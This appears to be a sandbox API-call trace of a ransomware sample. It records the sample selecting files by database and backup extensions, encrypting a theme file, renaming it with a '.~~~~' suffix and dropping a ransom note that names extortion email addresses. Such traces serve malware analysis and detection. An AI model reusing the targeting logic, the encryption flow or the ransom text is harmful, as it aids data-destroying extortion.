	[0084.065] RtlWakeConditionVariable () returned 0x365f70
	[0084.066] GetCurrentThreadId () returned 0xaf0
	[0084.066] GetCurrentThreadId () returned 0xaf0
	[0084.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6e80 | out: hHeap=0x300000) returned 1
	[0084.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0084.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6e80
	[0084.066] lstrlenW (lpString=".scr") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".scr") returned 0x0
	[0084.066] lstrlenW (lpString=".cmd") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".cmd") returned 0x0
	[0084.066] lstrlenW (lpString=".dll") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dll") returned 0x0
	[0084.066] lstrlenW (lpString=".bat") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".bat") returned 0x0
	[0084.066] lstrlenW (lpString=".cpl") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".cpl") returned 0x0
	[0084.066] lstrlenW (lpString=".sys") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".sys") returned 0x0
	[0084.066] lstrlenW (lpString=".msc") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".msc") returned 0x0
	[0084.066] lstrlenW (lpString=".com") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".com") returned 0x0
	[0084.066] lstrlenW (lpString=".lnk") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".lnk") returned 0x0
	[0084.066] lstrlenW (lpString=".msp") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".msp") returned 0x0
	[0084.066] lstrlenW (lpString=".pif") returned 4
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".pif") returned 0x0
	[0084.066] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.081] lstrlenW (lpString=".sqb") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".sqb") returned 0x0
	[0084.081] lstrlenW (lpString=".ost") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".ost") returned 0x0
	[0084.081] lstrlenW (lpString=".txt") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".txt") returned 0x0
	[0084.081] lstrlenW (lpString=".mdt") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".mdt") returned 0x0
	[0084.081] lstrlenW (lpString=".BDB") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".BDB") returned 0x0
	[0084.081] lstrlenW (lpString=".eql") returned 4
	[0084.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".eql") returned 0x0
	[0084.081] lstrlenW (lpString=".DBF") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DBF") returned 0x0
	[0084.082] lstrlenW (lpString=".EQL") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".EQL") returned 0x0
	[0084.082] lstrlenW (lpString=".FDB") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".FDB") returned 0x0
	[0084.082] lstrlenW (lpString=".EDB") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".EDB") returned 0x0
	[0084.082] lstrlenW (lpString=".DACPAC") returned 7
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.082] lstrlenW (lpString=".VHD") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".VHD") returned 0x0
	[0084.082] lstrlenW (lpString=".DBV") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DBV") returned 0x0
	[0084.082] lstrlenW (lpString=".dacpac") returned 7
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dacpac") returned 0x0
	[0084.082] lstrlenW (lpString=".sdf") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".sdf") returned 0x0
	[0084.082] lstrlenW (lpString=".accdb") returned 6
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".accdb") returned 0x0
	[0084.082] lstrlenW (lpString=".DBX") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DBX") returned 0x0
	[0084.082] lstrlenW (lpString=".MDT") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".MDT") returned 0x0
	[0084.082] lstrlenW (lpString=".SQB") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".SQB") returned 0x0
	[0084.082] lstrlenW (lpString=".vhd") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".vhd") returned 0x0
	[0084.082] lstrlenW (lpString=".bac") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".bac") returned 0x0
	[0084.082] lstrlenW (lpString=".mdf") returned 4
	[0084.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".mdf") returned 0x0
	[0084.082] lstrlenW (lpString=".BAK") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".BAK") returned 0x0
	[0084.083] lstrlenW (lpString=".BAC") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".BAC") returned 0x0
	[0084.083] lstrlenW (lpString=".dbs") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dbs") returned 0x0
	[0084.083] lstrlenW (lpString=".vhdx") returned 5
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".vhdx") returned 0x0
	[0084.083] lstrlenW (lpString=".NDF") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".NDF") returned 0x0
	[0084.083] lstrlenW (lpString=".dat") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dat") returned 0x0
	[0084.083] lstrlenW (lpString=".DBS") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DBS") returned 0x0
	[0084.083] lstrlenW (lpString=".CKP") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".CKP") returned 0x0
	[0084.083] lstrlenW (lpString=".edb") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".edb") returned 0x0
	[0084.083] lstrlenW (lpString=".PST") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".PST") returned 0x0
	[0084.083] lstrlenW (lpString=".dbf") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dbf") returned 0x0
	[0084.083] lstrlenW (lpString=".SQL") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".SQL") returned 0x0
	[0084.083] lstrlenW (lpString=".pst") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".pst") returned 0x0
	[0084.083] lstrlenW (lpString=".dbv") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dbv") returned 0x0
	[0084.083] lstrlenW (lpString=".SDF") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".SDF") returned 0x0
	[0084.083] lstrlenW (lpString=".dtxs") returned 5
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dtxs") returned 0x0
	[0084.083] lstrlenW (lpString=".db3") returned 4
	[0084.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".db3") returned 0x0
	[0084.084] lstrlenW (lpString=".OST") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".OST") returned 0x0
	[0084.084] lstrlenW (lpString=".dbx") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dbx") returned 0x0
	[0084.084] lstrlenW (lpString=".DB3") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DB3") returned 0x0
	[0084.084] lstrlenW (lpString=".DAT") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DAT") returned 0x0
	[0084.084] lstrlenW (lpString=".VHDX") returned 5
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".VHDX") returned 0x0
	[0084.084] lstrlenW (lpString=".ndf") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".ndf") returned 0x0
	[0084.084] lstrlenW (lpString=".DB") returned 3
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DB") returned 0x0
	[0084.084] lstrlenW (lpString=".sql") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".sql") returned 0x0
	[0084.084] lstrlenW (lpString=".MYD") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".MYD") returned 0x0
	[0084.084] lstrlenW (lpString=".DBT") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DBT") returned 0x0
	[0084.084] lstrlenW (lpString=".ACCDB") returned 6
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.084] lstrlenW (lpString=".fdb") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".fdb") returned 0x0
	[0084.084] lstrlenW (lpString=".bak") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".bak") returned 0x0
	[0084.084] lstrlenW (lpString=".myd") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".myd") returned 0x0
	[0084.084] lstrlenW (lpString=".DTXS") returned 5
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".DTXS") returned 0x0
	[0084.084] lstrlenW (lpString=".ckp") returned 4
	[0084.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".ckp") returned 0x0
	[0084.084] lstrlenW (lpString=".dbt") returned 4
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".dbt") returned 0x0
	[0084.085] lstrlenW (lpString=".db") returned 3
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".db") returned 0x0
	[0084.085] lstrlenW (lpString=".TXT") returned 4
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".TXT") returned 0x0
	[0084.085] lstrlenW (lpString=".MDF") returned 4
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".MDF") returned 0x0
	[0084.085] lstrlenW (lpString=".bdb") returned 4
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".bdb") returned 0x0
	[0084.085] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.085] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.086] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.086] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.086] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20407604254) returned 1
	[0084.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bf38d70, dwHighDateTime=0x1d60e1e)) 
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807ca0
	[0084.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0084.086] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.087] GetLastError () returned 0x0
	[0084.087] GetLastError () returned 0x0
	[0084.087] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.087] GetLastError () returned 0x0
	[0084.087] GetLastError () returned 0x0
	[0084.094] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffee924, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.094] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x116dc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x116dc, lpOverlapped=0x0) returned 1
	[0084.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.096] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.096] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.096] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.096] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.096] CloseHandle (hObject=0x118) returned 1
	[0084.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6d10
	[0084.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.~~~~")) returned 1
	[0084.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6d10 | out: hHeap=0x300000) returned 1
	[0084.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.097] GetLastError () returned 0x0
	[0084.097] RtlWakeConditionVariable () returned 0x365f70
	[0084.097] GetCurrentThreadId () returned 0xaf0
	[0084.097] GetCurrentThreadId () returned 0xaf0
	[0084.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7160 | out: hHeap=0x300000) returned 1
	[0084.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0084.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7160
	[0084.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.098] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.098] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.099] CloseHandle (hObject=0x118) returned 1
	[0084.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7160 | out: hHeap=0x300000) returned 1
	[0084.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0084.100] RtlWakeConditionVariable () returned 0x365f70
	[0084.100] GetCurrentThreadId () returned 0xaf0
	[0084.100] GetCurrentThreadId () returned 0xaf0
	[0084.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807f40 | out: hHeap=0x300000) returned 1
	[0084.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2560 | out: hHeap=0x300000) returned 1
	[0084.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807f40
	[0084.100] lstrlenW (lpString=".scr") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".scr") returned 0x0
	[0084.100] lstrlenW (lpString=".cmd") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".cmd") returned 0x0
	[0084.100] lstrlenW (lpString=".dll") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dll") returned 0x0
	[0084.100] lstrlenW (lpString=".bat") returned 4
